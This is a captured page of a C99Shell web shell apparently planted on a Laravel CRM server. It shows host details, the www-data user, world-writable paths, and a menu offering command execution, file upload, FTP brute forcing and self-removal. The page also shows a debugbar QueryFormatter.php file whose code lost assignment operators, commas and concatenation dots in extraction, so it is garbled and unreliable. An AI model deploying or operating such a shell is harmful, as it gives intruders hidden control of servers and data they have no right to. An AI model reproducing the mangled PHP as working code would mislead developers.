!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/DataFormatter/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     QueryFormatter.php (1.8 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\DataFormatter;

use 
DebugBar\DataFormatter\DataFormatter;

#[
\AllowDynamicProperties]
class 
QueryFormatter extends DataFormatter
{
    
/**
     * Removes extra spaces at the beginning and end of the SQL query and its lines.
     *
     * @param  string $sql
     * @return string
     */
    
public function formatSql($sql)
    {
        
$sql preg_replace("/\?(?=(?:[^'\\\']*'[^'\\']*')*[^'\\\']*$)(?:\?)/"'?'$sql);
        
$sql trim(preg_replace("/\s*\n\s*/""\n"$sql));

        return 
$sql;
    }

    
/**
     * Check bindings for illegal (non UTF-8) strings, like Binary data.
     *
     * @param $bindings
     * @return mixed
     */
    
public function checkBindings($bindings)
    {
        foreach (
$bindings as &$binding) {
            if (
is_string($binding) && !mb_check_encoding($binding'UTF-8')) {
                
$binding '[BINARY DATA]';
            }

            if (
is_array($binding)) {
                
$binding $this->checkBindings($binding);
                
$binding '[' implode(','$binding) . ']';
            }

            if (
is_object($binding)) {
                
$binding =  json_encode($binding);
            }
        }

        return 
$bindings;
    }

    
/**
     * Format a source object.
     *
     * @param  object|null  $source  If the backtrace is disabled, the $source will be null.
     * @return string
     */
    
public function formatSource($source$short false)
    {
        if (! 
is_object($source)) {
            return 
'';
        }

        
$parts = [];

        if (!
$short && $source->namespace) {
            
$parts['namespace'] = $source->namespace '::';
        }

        
$parts['name'] = $short basename($source->name) : $source->name;
        
$parts['line'] = ':' $source->line;

        return 
implode($parts);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--